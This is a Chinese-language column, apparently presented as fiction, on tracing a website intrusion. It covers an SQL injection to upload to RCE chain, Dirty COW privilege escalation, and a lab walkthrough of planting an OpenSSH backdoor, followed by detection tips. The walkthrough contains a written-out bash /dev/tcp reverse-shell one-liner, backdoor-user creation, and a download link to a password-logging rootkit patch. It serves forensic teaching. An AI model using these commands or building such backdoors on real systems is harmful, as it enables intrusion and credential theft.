专栏名称: 信息时代的犯罪侦查
一切行为皆有犯罪的可能性,而在信息时代,这一过程变得更加复杂或者隐晦了。本号致力于传播打击和预防犯罪的手段、方法、理念,并希望能够推动侦查犯罪的机制变革,而这需要了解方方面面的信息。
目录
相关文章推荐
21世纪商业评论  ·  江西90后卖蛋糕,年入近十亿 ·  2 天前  
新快报  ·  是绝望之举?日本两大车企合并不被看好 ·  2 天前  
新快报  ·  是绝望之举?日本两大车企合并不被看好 ·  2 天前  
51好读  ›  专栏  ›  信息时代的犯罪侦查

逆向追踪黑客引发的连环社工(3、4、5)

信息时代的犯罪侦查  · 公众号  ·  · 2019-11-13 09:02

正文

随笔

知识

案例

声音

其他


编者按

逆向追踪,并非对代码的处理,而是侦查思维的过程。这方面,没有定势,如果说有规律的话,无外乎两点:基本逻辑技术领悟

(感谢本系列作者:先森)

文末有个投票,请大家积极参与。

0x03 变身道德黑客,查找并速补漏洞

时间线回到2018年的某一天,某框架的官方博客紧急发布了关于安全更新的通知,发现代码中存在远程代码执行的漏洞需要紧急升级打补丁。碰巧的是,网站被入侵的时间刚好在发布漏洞的那几天,所以聪明的读者想到了什么?
根据此框架的一些特性展开测试,发现该网站符合某框架。确定了框架、结合公开的漏洞可以给我们堵洞节省了不少时间。由于查找漏洞这个过程中是梦游时候做的,因此本文撰写的时并没有当时的截图和实现代码,于是我创造性的结合网友分享的漏洞分析文章复述了一个过程。
我们先从网站被入侵的过程来复现漏洞,第一步是SQL注入漏洞(为什么不是直接RCE?请继续往下看)。该漏洞是由于程序在处理order by 后的参数时,未正确过滤处理数组的key值所造成。如果该参数用户可控,且当传递的数据为数组时,会导致漏洞的产生。黑客利用网上公开的payload构造查询语句,获得用户的账号密码后登入到后台中。
第二步是利用文件上传。由于后台系统只有头像模块存在上传功能,因此黑客尝试在此getshell,但可惜开发人员在此做了严格的过滤,黑客并未得逞。不过未对上传内容进行过滤,导致带有恶意代码的jpg文件传入,此时这个jpg文件还未对系统构成威胁。
第三步是借助RCE漏洞。上期文章中先森提到过某框架的RCE利用姿势,当时是借助框架的debug日志文件实现getshell的,这次框架并未开启debug功能。聪明的读者是不是又想到了别的姿势?没错,利用RCE执行copy函数将带有恶意代码的jpg文件重命名为php完成入侵。至于为什么不用RCE直接来getshell,仔细看看我上次发的文章就懂了。
剩下的问题就是速补漏洞。某框架的漏洞修复也是简单,直接备份代码然后升级框架。

删除服务器上的webshell后,继续检查网站,发现后台管理系统存在一个奇怪的用户名“cxk666”的用户名,结合当前的网络流行语大概推测出该黑客年龄段处于90后-00后。

0x04 Ta在入侵后做了什么?

现在我们将视角切换到黑客方面,当你攻陷了一个网站后,下一步会做什么?继续攻内网获取更多权限、查找有用的信息还是安装后门?这些操作确实都是有可能的,但是继续攻内网、安装后门等操作一般来说都是需要一定权限的,因此下一步最有可能的是“提权”。这也就解释了/tmp/目录下文件的由来了,下面我解释下/tmp目录下的那几个文件的作用。

图4-0 后门工具分析
root文件——查看后,发现是/etc/passwd的副本。
1.py文件——谷歌安全团队公布的反弹shell脚本。
c0w文件——二进制执行文件。文件名翻译过来是牛的意思,结合/tmp目录中的passwd文件,推测是提权工具“脏牛”。
ssh目录——这里不用多说,本文开头就提过了。

图4-1 passwd文件

图4-2 反弹shell脚本

图4-3 脏牛提权工具(使用strings命令查看)
相信流程走到这里,小伙伴们应该都能猜到了黑客攻陷网站后做了什么。使用webshell上传相关工具,通过执行Python的反弹shell脚本获取到交互性shell,进而借助脏牛提权工具获取root权限,然后编译OpenSSH后门并植入完成攻击。

0x05 OpenSSH后门植入过程及检测方法

本文仅供技术交流,禁止用于非法用途
未知攻,焉知防,这里我完整演示一遍植入OpenSSH后门的过程及检测该后门的方法。在实验以下操作前建议将虚拟机作一次快照,方便后续实验结束后恢复环境。由于我是Ubuntu最新版的(建议用centos),因此“脏牛”提权操作那部分跳过,直接进入到反弹shell得到root权限的环节。
首先,作为攻击方使用nc监听端口,等待接管肉鸡方的权限。其中参数l指的是监听模式,参数v是显示过程,参数p是设置监听端口。

图5-0 监听端口
然后肉鸡方模拟黑客执行了反弹shell的操作,将权限转接给攻击方。这里我并没有使用1.py来执行反弹,习惯使用bash -i >& /dev/tcp/IP/端口 0>&1 来实现反弹shell操作。

图5-1 执行反弹shell命令
接着我们作为攻击方顺利接管了对方的权限并添加了后门用户。这里提示一下 一行命令添加账号会出现的问题,虽然useradd命令的-p参数是可以指定密码,但是它必须是加密后的密文,所以需要使用OpenSSL生成密文。

图5-2 接管权限并添加后门用户
反弹的shell不太稳定,因此这里使用新用户登陆至服务器下载及解压OpenSSH及后门补丁代码(需要修改/etc/ssh/sshd_config,将PermitRootLogin的选项改成yes,然后用新添加的账号登陆即可)。

图5-3 准备好后门代码
备份ssh相关配置文件。

图5-4 备份ssh配置文件
给OpenSSH代码打补丁。

图5-5 OpenSSH打补丁
定制后门密码及记录密码的存储位置。编辑openssh-5.9p1目录中的includes.h文件,将最底部的宏定义改成自己的,其中ILOG是记录本机的登陆密码文件、OLOG是记录本机登录远程服务器的密码文件、SECRETPW是万能登录密码;编辑version.h文件,修改后门版OpenSSH的版本。

图5-6 修改后门密码文件

图5-7 修改后门版本
对后门进行编译。这里有好多坑要填,比如OpenSSH后门版手工编译主要依赖zlib和OpenSSL,而且OpenSSL必须要低版本等等。网上手工编译的教程多是基于centos的,而Ubuntu系统的安装库并没有它那么多的,需要不断的折腾手动安装缺失的文件…

前面提到OpenSSH主要依赖zlib和OpenSSL,这里为了避免报错需要安装zlib,执行apt-get install ruby zlib1g zlib1g.devbuild-essential实现安装 ;接着下载低版本的OpenSSL源码,执行命令./config --prefix=/usr/local --openssldir=/usr/local/ssl完成对OpenSSl的配置后再进行安装。

图5-8 安装zlib库

图5-9 OpenSSL完成安装
最后回到OpenSSH的目录,再执行命令./configure --prefix=/usr/local --sysconfdir=/etc/ssh/ --with-ssl-dir=/usr/local/ssl --with-zlib=/usr/local/lib --with-pam --with-kerberos5 实现OpenSSH的配置(由于ubuntu缺少的东西略多,我配置时候没加--with-kerberos5参数且pam没设置好,导致后续只能实现记录登录远程主机的操作,所以建议centos下复现)。

图5-10 OpenSSH编译安装
然后使用ssh登录回路地址,输入root的账号密码实现登录。接着查看记录的密码情况,
折腾了很久后,终于成功。

图5-11 登录至服务器

图5-12 查看记录的密码
其实后门并没有按预想中的实现,仅仅实现了记录本机登录远程服务器的功能,记录登录本机及万能登录密码并没有成功实现,应该跟没有安装库和完成相关配置有关。
这里给出相关源代码的地址,想折腾的小伙伴可以去试试,成功了记得分享下心得~
http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
http://ftp.jaist.ac.jp/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz
https://www.openssl.org/source/old/1.0.2/openssl-1.0.2.tar.gz
检测方法:
1)重装openssh软件
2)SSH禁止对外开放
应急响应:
1)比对ssh的版本
ssh -V
2)查看ssh配置文件和/usr/sbin/sshd的时间
stat /usr/sbin/sshd
3)strings检查/usr/sbin/sshd,看是否有邮箱信息
strings可以查看二进制文件中的字符串,在应急响应中是十分有用的。有些sshd后门会通过邮件发送登录信息,通过strings /usr/sbin/sshd可以查看到邮箱信息。
4)通过strace监控sshd进程读写文件的操作
一般的sshd后门都会将账户密码记录到文件,可以通过strace进程跟踪到ssh登录密码文件。

编者注声明:本故事纯属虚构,仅用于研究溯源思路。涉及任何域名、IP和相关人员信息皆为虚构!